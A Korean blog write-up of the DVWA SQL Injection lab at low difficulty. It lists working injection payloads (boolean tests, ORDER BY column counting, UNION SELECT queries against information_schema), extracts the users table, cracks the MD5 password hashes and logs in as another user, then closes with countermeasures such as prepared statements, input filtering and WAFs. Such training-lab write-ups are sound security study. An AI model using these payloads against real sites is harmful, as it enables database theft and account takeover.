HW_chick hacker
DVWA실습 - SQL Injection 본문

SQL Injection ?
- DB와 연동된 웹 애플리케이션에서 공격자가 입력폼 또는 URL 입력란에 SQL 구문을 삽입하여 DB를 조작할 수 있는 취약점
- 클라이언트 측에서 입력된 신뢰할 수 없는 데이터가 SQL 쿼리 로직의 일부로 해석되어 DB에서 실행되는 공격
low 단계

1' and '1'='1

1' and '1'='2

참과 거짓을 나눠 sql구문을 넣어 출력 값을 확인한다.
1' order by 2-- # 참
1' order by 3-- # 거짓

칼럼 수는 2개이며 3개로 되었을 시 거짓이 되어 오류페이지가 나온다.
1' UNION ALL SELECT 1, 2--

칼럼 두개에 1과 2를 출력하면 "First name", "Surname" 각각 출력된다
1' UNION ALL SELECT version(), database()-- # 버전: 5.0.51a-3ubuntu5, 데이터베이스: dvwa

1' UNION ALL SELECT table_schema, table_name FROM information_schema.tables--
1' UNION ALL SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='dvwa'--
# dvwa의 users정보를 확인


1' UNION ALL SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users'--
# 테이블 칼럼 추출

테이블 칼럼을 추출하였다.
칼럼들을 보면 사용자들의 ID, PW를 알수 있을 만한 칼럼은 "user", "password"이다.
내가 해커 입장이면 맛도리 있는 친구들을 봐봐야 겠지요~~😎😎

추출한다면 admin계정부터해서 사용자들의 계정을 가지고 있다.
패스워드는 암호화가 되어 있어 복호화가 가능한지 확인 후 알아 내면 된다.

Hash-identifier 도구를 활용하여 해당 비밀번호는 MD5형식으로 암호화가 되어 있다.
MD5 복호화 사이트에서 돌려보면 "password"라는 비밀번호를 알 수 있다.


smithy 계정으로 로그인을 성공 했다.
SQL Injection 대응방안

Prepared statement 구문을 활용한 개발
- Prepared statement 구문을 사용하여 입력된 값은 모두 문자열로서만 처리되도록 구현하는 것이 가장 안전하다.

특정 문자 입력 시 치환되도록 구현한 코드
- 하지만 여러 이유로 Prepared statement 구문을 사용하여 구현하지 못하는 상황이 있을 수 있다. 그럴 경우 입력된 값이 개발자가 의도한 값인지 검증할 수 있는 로직을 구현하여 불필요한 특수 문자 등은 입력되지 않도록 구현해야 한다.
위 예시는 특정 문자가 입력될 경우 자동으로 공백으로 치환되도록 설정하고 SQL 구문이 입력란에 입력될 경우 에러 팝업창이 출력되도록 설정하여 불필요한 문자는 입력하지 못하도록 제한한 코드이다.

DB 에러 메시지가 출력되지 않도록 설정한 것
- WAS 설정 파일(위 예시는 php 설정 파일)에서 에러메시지는 출력 되지 않도록 설정해야 한다.
- 웹 방화벽(WAF, Web Application Firewall)을 사용하여 부적절한 문자열이 전송될 경우 차단한다.
'Activity > DVWA' 카테고리의 다른 글
| DVWA실습 -File Inclusion (0) | 2024.07.25 |
|---|---|
| DVWA실습 - Command Execution (0) | 2024.07.16 |
| DVWA 실습 - Reflected Cross Site Scripting (XSS) (0) | 2024.07.16 |
| DVWA 실습 - Brute Force (0) | 2024.07.12 |